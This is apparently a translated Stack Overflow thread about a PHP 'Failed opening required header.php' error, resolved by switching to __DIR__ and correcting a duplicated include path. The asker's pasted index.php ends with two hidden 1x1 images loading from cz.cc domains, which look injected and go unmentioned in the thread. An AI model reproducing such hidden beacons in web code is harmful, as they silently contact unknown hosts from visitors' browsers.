【问题标题】:Fatal error: require_once(): Failed opening required header.php致命错误:require_once():无法打开所需的 header.php
【发布时间】:2019-08-10 10:54:51
【问题描述】:

我看到了许多与我相似的问题和答案,但不知道如何将我所看到的应用于我的具体情况。从上周三开始,我的网站上突然出现了错误消息:

致命错误:require_once(): 无法打开所需的 '/usr/services/vux/apache/htdocs/includes/header.php'(include_path='.:/usr/share/php:/usr/ services/vux/lib/php') 在 /data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/index.php 第 3 行


这是我在 index.php 文件中看到的代码:

<?php
$page_id=1;
require_once($_SERVER["DOCUMENT_ROOT"]."/includes/header.php");
?>
<!-- BEGIN PAGE CONTENT -->
<?php
  displayPage($page_id);
  echo "<a href='news.php'><img src='http://www.springwoodpoms.com/images/latest_news.jpg' border='0'></A>";
  $value1 = returnSettingValue(1);
  listNews($value1);
?>
<!-- END PAGE CONTENT -->
<?php
  require_once($_SERVER["DOCUMENT_ROOT"]."/includes/footer.php"); 
?><img heigth="1" width="1" border="0" src="http://foxmeyer.cz.cc/151946.jpg">
<img heigth="1" width="1" border="0" src="http://foxpaine.cz.cc/154426.jpg">

附件是 header.php 文件的 Web 根路径的图像。权限全部设置为 0664。

website root file path

我需要将第 3 行 index.php 文件中的代码更改为什么,以修复查找 header.php 文件的错误?

我知道我所有的文件在哪里,并且可以按照说明执行代码,非常好。我只是不知道从哪里开始?任何帮助或建议都会很棒。

【问题讨论】:

  • '/usr/services/vux/apache/htdocs/includes/header.php 不存在或无法打开,还有什么可以说的?文件是否存在?它的权限是什么?
  • 我在我的 ftp 文件中没有看到文件字符串 '/usr/services/vux/apache/htdocs/includes/header.php'。我添加了一张图片来显示 header.php 文件的根文件路径。权限全部设置为 0644。
  • 如果文件丢失,那就是问题所在。
  • 我知道我所有的文件在哪里并且可以按照说明进行操作 - 好的,所以将require_once($_SERVER["DOCUMENT_ROOT"]."/includes/header.php"); 更改为header.php 文件的正确路径
  • 感谢您的回复蒂姆。我知道文件丢失了。关于如何更改第 3 行的 index.php 代码以找到正确的 header.php 文件路径的任何帮助?

标签: php fatal-error


【解决方案1】:

尝试将$_SERVER["DOCUMENT_ROOT"] 更改为__DIR__,以便您的代码如下所示:

require_once(__DIR__."/includes/header.php");

【讨论】:

  • 谢谢@benyafai。我将代码更改为__DIR__。它没有解决问题,但现在出现了一个不同的错误Fatal error: require_once(): Failed opening required '/usr/services/vux/apache/htdocs/includes/functions.php' (include_path='.:/usr/share/php:/usr/services/vux/lib/php') in /data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/includes/header.php on line 2
  • 这是 header.php 中第 2 行的代码 require_once($_SERVER["DOCUMENT_ROOT"]."/includes/functions.php");
  • 所以我们解决了这个问题,但是您还有另一个问题,基本上是相同的问题 - $_SERVER["DOCUMENT_ROOT"] 去错了地方。再次尝试将其替换为 __DIR__,然后查看错误产生的内容。
  • 好的,我现在用__DIR__ 替换了$_SERVER["DOCUMENT_ROOT"],现在显示的错误略有不同:Fatal error: require_once(): Failed opening required '/data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/includes/includes/functions.php' (include_path='.:/usr/share/php:/usr/services/vux/lib/php') in /data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/includes/header.php on line 2
  • 好的,看到路径是.../includes/includes/functions.php?删除其中一个“包含/”以修复其中的路径。
猜你喜欢
  • 1970-01-01
  • 2015-04-10
  • 2016-02-07
  • 1970-01-01
  • 1970-01-01
  • 2014-10-21
  • 2016-07-06
相关资源
最近更新 更多